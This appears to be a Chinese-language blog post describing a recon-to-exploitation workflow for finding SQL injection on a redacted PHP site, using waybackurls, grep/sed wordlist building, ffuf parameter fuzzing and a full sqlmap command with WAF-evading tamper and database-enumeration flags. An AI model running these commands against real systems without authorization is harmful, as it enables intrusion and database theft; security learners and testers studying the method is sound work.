0x00 前言

在一个平台上看到国外小哥的一篇文章,如何快速挖到sql注入漏洞

0x01 思路

第一步,使用waybackurls工具爬去网页的所有链接,可以添加筛选的条件,uro是一个删除重复网址的工具

1
waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt

第二步,发现PHP文件名看起来很有趣,由get开头,尝试制作参数字典,进行一系列的处理

image-20221024163646131
1
cat php-files.txt| grep -i get | sed ‘s/.*.get//’ | sort -u

只需要 grep 包含get字符串的行并删除它之前的所有行并使其唯一以避免重复

image-20221024163401237

但我们应该删除 .php 字符串来创建一个列表,所以我只是将这一行添加到最后一个命令cut -f1 -d”.”

image-20221024163551787

我注意到我所有的字符串都包含两个单词,我不知道它们中的哪个是参数,所以让我们拆分它

如何在一行中找到大写字母,并拆分成行 sed ‘s/[AZ]+/\n&/g’

image-20221024163949891

认为大多数参数都是小写的,而不是大写的,所以我将其保留为大写参数并将其转换为小写

image-20221024164005355

第三步,使用ffuf去fuzz

1
ffuf -w lowercase-parameters.txt -u "https://redacted.org/searchProgressCommitment.php?FUZZ=5"

get 请求没结果,尝试转换post请求

1
ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php"

第四步,使用sqlmap去跑

1
sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast
1
2
3
4
5
6
--level 5 --> Level of tests to perform.
--risk 3 --> Risk of tests to perform
--dbms --> back-end DBMS value
--no-cast --> to avoid use cast-alike statements during data fetching
--tamper --> to evade filters and WAF’s
"--hostname --current-user --current-db --dbs" --> to retrieve info about the database
image-20221024164202234